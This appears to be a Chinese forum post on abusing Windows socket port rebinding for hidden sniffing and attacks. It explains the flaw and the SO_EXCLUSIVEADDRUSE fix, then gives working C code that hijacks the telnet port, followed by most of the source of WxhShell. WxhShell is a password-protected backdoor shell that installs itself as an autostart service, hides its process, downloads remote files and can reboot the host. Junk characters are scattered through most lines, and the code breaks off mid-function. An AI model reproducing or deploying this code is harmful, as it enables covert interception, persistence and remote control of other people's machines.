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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7 J+cs^2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ma7@vD  
(d$ksf_[%f  
  saddr.sin_family = AF_INET; P4.snRQ  
Fc.1)yh.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mZb[Fi  
&~a/Upz0]_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [SA$d`B/  
3m59EI-p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _.G p}0a  
z{ydP Ra  
  这意味着什么?意味着可以进行如下的攻击: " H; i Av  
&W:R#/|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PXJ`<XM  
4KCJ(<p|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6d# V  
SVc5mS|up  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SM@RELA'Lb  
$jtXN E?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~lB:xVzn  
L#X!.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cri.kr9Y  
a>/cVu'kz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  t_Rpeav  
t ]yD95|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @[(<oX%  
(XJ0?;js=  
  #include p.J+~s4G  
  #include v9 K{oB  
  #include )i{B:w\ ^  
  #include    /vG)n9Rc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .<|.nK`6  
  int main() g4fe(.?c,  
  { M,j3z #  
  WORD wVersionRequested; P-~kxb9aa  
  DWORD ret; A/+bwCDP  
  WSADATA wsaData; &@anv.D  
  BOOL val; (hv>vfY@  
  SOCKADDR_IN saddr; -F+dmI,1$  
  SOCKADDR_IN scaddr; P-c<[DSM'I  
  int err; gkN )`/`*  
  SOCKET s; XK7$Xbd  
  SOCKET sc; [J71aH  
  int caddsize; W nLMa|e  
  HANDLE mt; K)d]3V!  
  DWORD tid;   $7bl,~Z  
  wVersionRequested = MAKEWORD( 2, 2 ); X_nxC6[m%  
  err = WSAStartup( wVersionRequested, &wsaData ); lImg+r T{  
  if ( err != 0 ) { hR1n@/nh  
  printf("error!WSAStartup failed!\n"); %W [#60  
  return -1; !<P|:Oo*Dl  
  } ]@D#<[5\  
  saddr.sin_family = AF_INET; %oY=.Ok ]  
   g.re`m|Aj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *He%%pk  
a~nErB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hL8GW> `a  
  saddr.sin_port = htons(23); CS<,qvLpL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @&G< Np`  
  { &/7D4!N]  
  printf("error!socket failed!\n"); n6f  
  return -1; (,5,}  
  } n,E =eNc  
  val = TRUE; DfJHH)Ry}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +g6t)Gl  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XA*sBf  
  { |d B`URP  
  printf("error!setsockopt failed!\n"); wC~ra:/?:7  
  return -1; M_Qv{   
  } AM ZWPU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >){"x(4`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WLe9m02r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,py:e>+^t  
V>YZ^>oeH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?t JyQT  
  { -!kfwJg8N(  
  ret=GetLastError(); S|pMX87R  
  printf("error!bind failed!\n"); 4CT _MAj  
  return -1; 3i c6!T#t"  
  } Zss `##  
  listen(s,2); GWU"zWli]z  
  while(1) ~fDMzOd  
  { SX4"HadV>  
  caddsize = sizeof(scaddr); HZH zjrx  
  //接受连接请求 L:(>ON  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \ M_}V[1+  
  if(sc!=INVALID_SOCKET) *nPB+@f  
  { H*Tc.Ie  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  >Mzk;TM  
  if(mt==NULL) EAgNu?L  
  { &s|a\!>l  
  printf("Thread Creat Failed!\n"); $\DOy&e  
  break; H)Zb_>iV  
  } l^@!,Z  
  } krw_1Mm  
  CloseHandle(mt); I\BcG(hlJ  
  } Y~</vz+H  
  closesocket(s); 0M'[|ci d|  
  WSACleanup(); TaZw_)4c  
  return 0; QBNnvg4v  
  }   yJheni  
  DWORD WINAPI ClientThread(LPVOID lpParam) (L{Kg U&{$  
  { \1AtB c&  
  SOCKET ss = (SOCKET)lpParam;  b* QRd  
  SOCKET sc; sUfYEVjr  
  unsigned char buf[4096]; 4rmSo^vK  
  SOCKADDR_IN saddr; >~g(acH%`x  
  long num; (\Iz(N["G  
  DWORD val; 7^fpbrj  
  DWORD ret; T\G2B*fGd  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z=B6fu*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   q\B048~KK  
  saddr.sin_family = AF_INET; Nvlfi8.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LxM.z1  
  saddr.sin_port = htons(23); j &#A 9!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UogkQ& B  
  { =9lrPQ]w  
  printf("error!socket failed!\n"); Bc/'LI.%  
  return -1; N34.Bt  
  } zH1pW(  
  val = 100; 3H_mR j9th  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LEq"g7YH  
  { acSm+t  
  ret = GetLastError(); JH%^FF2  
  return -1; +B 4&$z  
  } e~#"#?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 92@/8,[  
  { kHO2&"6  
  ret = GetLastError(); wIrjWU2  
  return -1; COE,pb17  
  } G2bZl% ,D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fQ\nK H~  
  { Nh I&wl  
  printf("error!socket connect failed!\n"); +0w~Skd,  
  closesocket(sc); 14[+PoF^A  
  closesocket(ss); q(i^sE[y  
  return -1; QF  P3S(  
  } yj^LX2x"  
  while(1) d},IQ,Az:Z  
  { <Rs#y:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E&\dr;{7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }!5x1F!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [j6EzMN  
  num = recv(ss,buf,4096,0); A`=;yD  
  if(num>0) Z~g I)  
  send(sc,buf,num,0); WjyuaAWY  
  else if(num==0) Dq#/Uw#  
  break; (M1HNIM;(  
  num = recv(sc,buf,4096,0); (xp<@-  
  if(num>0) thoAEG80  
  send(ss,buf,num,0); l7 +#gPA  
  else if(num==0) |x2 +O  
  break; z (N3oBW  
  } ^2gDhoO_  
  closesocket(ss); 1g_(xwUp+  
  closesocket(sc); 6GxQ<  
  return 0 ; AN!MFsk  
  } i+/:^tc;  
Cm~h\+"  
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========================================================== ?4X8l@fR  
R&w2y$  
下边附上一个代码,,WXhSHELL M*DFtp<  
~s}0z&v^te  
========================================================== IrAc&Ehul  
T6X%.tR>`  
#include "stdafx.h" [x {S ,?6  
_eB?G  
#include <stdio.h> ~c e?xr|  
#include <string.h> 4_CV.?  
#include <windows.h> z*Y4t?+  
#include <winsock2.h> b.qp&2A  
#include <winsvc.h> z|Z<S+=f  
#include <urlmon.h> kzA%.bP|  
"3!!G=s P  
#pragma comment (lib, "Ws2_32.lib") o8 A]vaa  
#pragma comment (lib, "urlmon.lib") R3MbTg  
OD,"8JF  
#define MAX_USER   100 // 最大客户端连接数 9Fe(],AzF  
#define BUF_SOCK   200 // sock buffer vYh_<Rp5  
#define KEY_BUFF   255 // 输入 buffer G;:D6\  
+O< 0q"E  
#define REBOOT     0   // 重启 m oQ><>/  
#define SHUTDOWN   1   // 关机 7g-#v'.N  
E,Q>jH  
#define DEF_PORT   5000 // 监听端口 cz8%p;F:  
Sz\"*W;>  
#define REG_LEN     16   // 注册表键长度 U] 2fV|Hn  
#define SVC_LEN     80   // NT服务名长度 P!?Je/ Tz]  
@PXb^x#k  
// 从dll定义API ap;tggi(H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PZ/gD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }*!7 Vrep  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FHNK%Ko  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >Z#=<  
]Gw?DD|Gn  
// wxhshell配置信息 U D9&k^  
struct WSCFG { xl%!7?G|$>  
  int ws_port;         // 监听端口 |aiP7C  
  char ws_passstr[REG_LEN]; // 口令 o C]tEXJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no ={9G.%W  
  char ws_regname[REG_LEN]; // 注册表键名 sSLs%)e|:  
  char ws_svcname[REG_LEN]; // 服务名 P)fv:a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9`J!]WQ1[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BX[92~Bq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ep% 5wR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "ei*iUBN:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _=c>>X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a :jRQ-F)  
0NLoqq  
}; Jji~MiMn  
*|n::9  
// default Wxhshell configuration nZ>bOP+,  
struct WSCFG wscfg={DEF_PORT, \Nc/W!r*9  
    "xuhuanlingzhe", %?^T^P  
    1, $tyF(RybG  
    "Wxhshell", '3Ir(]Wfd  
    "Wxhshell", 9Vx2VjK2'  
            "WxhShell Service", ; Xy\7tx  
    "Wrsky Windows CmdShell Service", jB]tq2i  
    "Please Input Your Password: ", gWp\?La  
  1, [GeJn\C_?  
  "http://www.wrsky.com/wxhshell.exe", daT[2M  
  "Wxhshell.exe" DpIv <m]  
    }; F_ ~L&jHP  
V\zf yH\~  
// 消息定义模块 U^4 /rbQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Dm/# \y3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LTu cs }  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P&3'N~k-  
char *msg_ws_ext="\n\rExit."; %iWup:  
char *msg_ws_end="\n\rQuit."; YV*s1 t/  
char *msg_ws_boot="\n\rReboot..."; o+W5xHe^1  
char *msg_ws_poff="\n\rShutdown..."; QRj>< TKi  
char *msg_ws_down="\n\rSave to "; &~P5 [[Q  
>9c$2d|>  
char *msg_ws_err="\n\rErr!"; &?^S`V8R*  
char *msg_ws_ok="\n\rOK!"; *>!O2c  
yc5C`r+6  
char ExeFile[MAX_PATH]; o.t$hv|  
int nUser = 0; wZVY h  
HANDLE handles[MAX_USER]; l%*KBME  
int OsIsNt; Ktg{-Xl  
2Yt#%bj7^  
SERVICE_STATUS       serviceStatus; 5uMh#dm^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u2 a U0k:  
"bAkS}(hB(  
// 函数声明 TEl :;4  
int Install(void);  ZSq7>}  
int Uninstall(void); 7QP%Pny%  
int DownloadFile(char *sURL, SOCKET wsh); M}NmA  
int Boot(int flag); @s J[<V  
void HideProc(void); S!qJqZ<Bv  
int GetOsVer(void); Ed9ynJ~)X  
int Wxhshell(SOCKET wsl); FX7=81**4  
void TalkWithClient(void *cs); 6> v`6  
int CmdShell(SOCKET sock);  lk{  
int StartFromService(void); ";38v jIV  
int StartWxhshell(LPSTR lpCmdLine); %3scz)4$  
9ctvy?53H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jr{C/B}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2yR*<yj  
v!?bEM3D  
// 数据结构和表定义 T6JN@:8  
SERVICE_TABLE_ENTRY DispatchTable[] = Qj~m;F!  
{ Ar4E $\W  
{wscfg.ws_svcname, NTServiceMain}, ;T~]|#T\6  
{NULL, NULL} {~>?%]tf  
}; Yu-e |:  
'/U[ ui0{  
// 自我安装 Xn-GSW3{  
int Install(void) zQ9"i  
{ I&]d6,  
  char svExeFile[MAX_PATH]; !Uz{dFJf;  
  HKEY key; B PTQm4TN  
  strcpy(svExeFile,ExeFile); ~C=I{qzF+  
$,q~q^0  
// 如果是win9x系统,修改注册表设为自启动 #pP4\n-~hU  
if(!OsIsNt) { !/+ZKx("9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zF6 R\w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :@)UI,  
  RegCloseKey(key); /e :V44  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;LE4U OK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tGnBx)J|  
  RegCloseKey(key); r=P)iE:  
  return 0; G%w.Z< qy  
    } =; Gw=m(  
  } Ig75bZz   
} \Km!#:  
else { 01N "  
,#[0As29u  
// 如果是NT以上系统,安装为系统服务 exw~SvT3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5vs~8|aRo  
if (schSCManager!=0) cHOtMPyQ  
{ dfY(5Wc+f  
  SC_HANDLE schService = CreateService RY'f%c  
  ( j78WPG  
  schSCManager, xF: O6KL  
  wscfg.ws_svcname, S9R(;  
  wscfg.ws_svcdisp, vdw5T&Q{{C  
  SERVICE_ALL_ACCESS, I Y%M5(&Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YXI_ '  
  SERVICE_AUTO_START, i^Vb42%y  
  SERVICE_ERROR_NORMAL, <WFA3  
  svExeFile, zWKnkIit,  
  NULL, 4k/B=%l  
  NULL, |57u;  
  NULL, !.1oW(  
  NULL, sC >_ulkoa  
  NULL 3/c3e{,!  
  ); -F=?M+9[  
  if (schService!=0) yO*~)ALb+  
  { 0$)s? \  
  CloseServiceHandle(schService); eKjmU| H  
  CloseServiceHandle(schSCManager); CXt9 5O?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I?` }h}7.  
  strcat(svExeFile,wscfg.ws_svcname); !>QS746S@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -!MrG68  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !v/5 G_pr  
  RegCloseKey(key);  m(CW3:|  
  return 0;  8:=&=9%  
    } 3FRz&FS:j  
  } &*2\1;1tB  
  CloseServiceHandle(schSCManager); Zjis0a]v~k  
} _CqVH5U?  
} HJ#3wk"W  
1o"/5T:S[  
return 1; zVN/|[KP4  
} a&:1W83  
Z] ?Tx2|7  
// 自我卸载 Mx9#YJ?t~  
int Uninstall(void) MKVz'-`u  
{ ;W%nBdE6|  
  HKEY key; X&C&DTB  
fP3e{dVf  
if(!OsIsNt) { _vOV(#q2a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >,c$e' h  
  RegDeleteValue(key,wscfg.ws_regname); )Z6bMAb0'N  
  RegCloseKey(key); |OW/-&)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <Z{pjJ/  
  RegDeleteValue(key,wscfg.ws_regname); m$N` Xj  
  RegCloseKey(key); k3[rO}>s  
  return 0; u#(& R"6  
  } *R9s0;&:  
} (al.7VA;9  
} Pdgn9  
else { <Q57}[$*)  
E/bIq}R6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1.S7MSpTV  
if (schSCManager!=0) :`u?pc27Sm  
{ /|7@rH([{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MZYh44  
  if (schService!=0) 'I$-h<W  
  { feJzX*u  
  if(DeleteService(schService)!=0) { (EW<Ggi  
  CloseServiceHandle(schService); [3$L}m  
  CloseServiceHandle(schSCManager); Q` ?+w+y7  
  return 0; mL5Nu+#  
  } sk'< K5~  
  CloseServiceHandle(schService); Zl,c+/  
  } Q 6>7{\8l  
  CloseServiceHandle(schSCManager); j@chSk"K  
} 8aDSRfv*  
} $'Pn(eZHGv  
oZM6%-@qi  
return 1; z+@ CzHCN  
} $H0diwl9R  
bx!uHL=  
// 从指定url下载文件 2bJqZ,@  
int DownloadFile(char *sURL, SOCKET wsh) ^3>Qf  
{ ,E7+Z' ;  
  HRESULT hr; euxkw]`h6  
char seps[]= "/"; ^pI&f{q  
char *token; 0^%\! Xxq  
char *file; | aAu 4   
char myURL[MAX_PATH]; bIvF5d>9#K  
char myFILE[MAX_PATH]; ^{ Kj{M22  
!yUn|v>&p  
strcpy(myURL,sURL); M<Gr~RKmAn  
  token=strtok(myURL,seps); 4Sj;38F .1  
  while(token!=NULL) m7~<z>5$  
  { 2/*F}w/  
    file=token; ?nVwT[  
  token=strtok(NULL,seps); d3nx"=Cy0I  
  } )^Ha?;TS  
y#Cp Vm#!>  
GetCurrentDirectory(MAX_PATH,myFILE); {c 82bFiv  
strcat(myFILE, "\\"); WA'&0i4  
strcat(myFILE, file); 96NZ rT  
  send(wsh,myFILE,strlen(myFILE),0); XwZ~pY ~  
send(wsh,"...",3,0); M-#OPj*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m7dpr$J  
  if(hr==S_OK) UU7E+4O&  
return 0; V XE85  
else p3m!Iota  
return 1; s!lLdR[g  
PpxLMe]  
} dz3KBiq  
fX:)mLnO/  
// 系统电源模块 >DFpL$oP  
int Boot(int flag) {2A| F{7>  
{ 2s^9q9NS"  
  HANDLE hToken; t:NYsL  
  TOKEN_PRIVILEGES tkp; >AtW  
V6c>1nZ  
  if(OsIsNt) { @ij8AGE:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &Zxo\[lP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `6R.*hq  
    tkp.PrivilegeCount = 1; &-S;.}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bF85T(G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "7> o"FQ  
if(flag==REBOOT) { gI~4A,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I.4o9Z[?  
  return 0; f1Z  
} (f-Mm0%[  
else { +t9$*i9`L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;^[VqFpeS  
  return 0; x4_xl .  
} i)@IV]]6yL  
  } Z(|@C(IL0\  
  else { 4 6yq F  
if(flag==REBOOT) { vU4Gw4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lmsO 6=I4F  
  return 0;  L+=pEk_  
} $!'S7;*uW  
else { Gp l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JU6PBY~C'  
  return 0; ,qj1"e  
} b0PQ;?R#V  
} nDFF,ge;a#  
%(P\"hE'  
return 1; h/LlH9S:!  
} Gz_[|,i  
4lb(qKea  
// win9x进程隐藏模块 fwN'5ep  
void HideProc(void) >~%EB?8  
{ sy\w ^]  
T?DX|?2X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |}?o=bO  
  if ( hKernel != NULL ) hja;d1yH  
  { b|rMmx8vA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~xp(k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K3;lst>4  
    FreeLibrary(hKernel); TJ5g? #Wul  
  } G $F3dx.I  
34Fc oud);  
return; 8Qo~zO  
} 9B&fEmgEc?  
3IlflXb  
// 获取操作系统版本 &|'t>-de,  
int GetOsVer(void) 5PRS|R7  
{ +L]$M)*0&  
  OSVERSIONINFO winfo; ^&Exa6=*FT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fOHgz ,x=  
  GetVersionEx(&winfo); 6Hh\ys  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dp8`O4YC  
  return 1; xMpQPTte  
  else ~vGX(8N  
  return 0; .boBo$f  
} `w;8xD(  
! D \u2h  
// 客户端句柄模块 Ofm?`SE*|  
int Wxhshell(SOCKET wsl) fDzG5}i  
{ f6*6*=  
  SOCKET wsh; $oo`]R_   
  struct sockaddr_in client; {!/ha$(  
  DWORD myID; Jfe<$-$$7  
G9YfJ?I  
  while(nUser<MAX_USER) YWK|AT-4  
{ jMAZ4M  
  int nSize=sizeof(client); ?6#F9\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [#3*R_#8R  
  if(wsh==INVALID_SOCKET) return 1; W74Y.zQ  
nRSiW*;R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CC~:z/4,N  
if(handles[nUser]==0) 5Xr<~xr  
  closesocket(wsh); %Ums'<xJ  
else dln1JZ!  
  nUser++; K8?]&.!  
  } xis],.N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `alQmGUZ  
*%#Sa~iPo  
  return 0; ox&PFI0Gn  
} +5k^-  
8=T[Y`;x  
// 关闭 socket Y;uQq-CP  
void CloseIt(SOCKET wsh) ~B2,edkM  
{ @L/p  
closesocket(wsh); {pR4+g  
nUser--; 1v M'yr$  
ExitThread(0); #=81`u  
} A{IJ](5.kd  
Ks>l=5~v|  
// 客户端请求句柄 0LW|5BVbIO  
void TalkWithClient(void *cs) I%Yeq"5RB  
{ 2Vwv#NAV k  
P =jRof$  
  SOCKET wsh=(SOCKET)cs; ~B704i  
  char pwd[SVC_LEN]; -L6YLe%w  
  char cmd[KEY_BUFF]; {Y7dE?!`7  
char chr[1]; !*1Kjg3  
int i,j;  qH9bo-6  
, |lDR@  
  while (nUser < MAX_USER) { ,g~Iup  
B_3:.1>"BM  
if(wscfg.ws_passstr) {  z:p;Wm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 02RZ>m+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T4fVZd)x  
  //ZeroMemory(pwd,KEY_BUFF); N7l`-y  
      i=0; Q?xCb  
  while(i<SVC_LEN) { @GyxOc@6  
$uj3W<iw3E  
  // 设置超时 gZW(z  
  fd_set FdRead; \&jmSa=]l  
  struct timeval TimeOut; Py^fWQ5I~%  
  FD_ZERO(&FdRead); y8e'weK  
  FD_SET(wsh,&FdRead); D~T;z pS  
  TimeOut.tv_sec=8; &WV&_z  
  TimeOut.tv_usec=0; 5oTj^W8M(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZT d)4f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CxbGL  
'L5ih|$>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ODFCA. t  
  pwd=chr[0]; NfsF'v  
  if(chr[0]==0xd || chr[0]==0xa) { }|9!|Q  
  pwd=0; (O-.^VV  
  break; j#rj_uP  
  } 9%& =n  
  i++; $)v`roDD.  
    } /BQB7vL  
.EB'n{zxd  
  // 如果是非法用户,关闭 socket &$NYZ3?9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N% !TFQf  
} \C&V)/  
j0uu* )Rk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Usl963A#'F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I(Gl8F\c~  
rInZd`\  
while(1) {  sg9  
N/x]-$fl  
  ZeroMemory(cmd,KEY_BUFF); 5D6 ,B  
8$~^-_>n/  
      // 自动支持客户端 telnet标准   `)TuZP_)  
  j=0; ]rS:# LK  
  while(j<KEY_BUFF) { ]y\Wc0 q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >)*0lfxTZ  
  cmd[j]=chr[0];  \<u  
  if(chr[0]==0xa || chr[0]==0xd) { 1haNpLfS>  
  cmd[j]=0; #D ]P3  
  break; IcJQC  
  } Ux-i iH#s  
  j++; ;km^ OO$  
    } =Y {<&:%(  
yN{TcX  
  // 下载文件  wzf  
  if(strstr(cmd,"http://")) { bZlKy`Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XP^[,)E  
  if(DownloadFile(cmd,wsh)) %Xe 74C"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `DS7J\c$  
  else S~hoAl"xb/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FSD~Q&9&  
  } ' '<3;  
  else { `Rx\wfr}  
*X\J[$!  
    switch(cmd[0]) { ["WWaCcx  
  ?bGk%jjHXM  
  // 帮助 T!X`"rI  
  case '?': { ht_'GBS)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2#Du5d  
    break; x(7Q5Uk\  
  } $&X-ay o  
  // 安装 Cg3 d  
  case 'i': { ;[B-!F>  
    if(Install()) H (tT8Q5i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w Y=k$  
    else ymb{rKkN3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a: 2ezxP  
    break; $1Qcz,4B|  
    } h9kwyhd"  
  // 卸载 )x3p7t)#  
  case 'r': { >Xi/ p$$7u  
    if(Uninstall()) `+!F#.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R!rj:f!>  
    else rGlnu.mK^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p^)w$UL}}  
    break; l#TE$d^ym  
    } ^&KpvQNW_  
  // 显示 wxhshell 所在路径 H;MyT Vl  
  case 'p': { .u:aX$t+  
    char svExeFile[MAX_PATH]; CU@}{}Yl  
    strcpy(svExeFile,"\n\r"); |4rqj 1*U  
      strcat(svExeFile,ExeFile); \)i,`bz  
        send(wsh,svExeFile,strlen(svExeFile),0); r3 dGXiu  
    break; Y)2#\ F   
    } [ d`m)MW-  
  // 重启 d:{}0hmxI  
  case 'b': { nd }Z[)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sym}#F\s  
    if(Boot(REBOOT)) ;tC$O~X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .'b| pd  
    else { ZF@$3   
    closesocket(wsh); Muyi2F)j  
    ExitThread(0); r@EHn[w  
    } m(`O>zS  
    break; F+!9T  
    } m qwJya  
  // 关机 WAf"|  
  case 'd': { z"-oD*ICw  
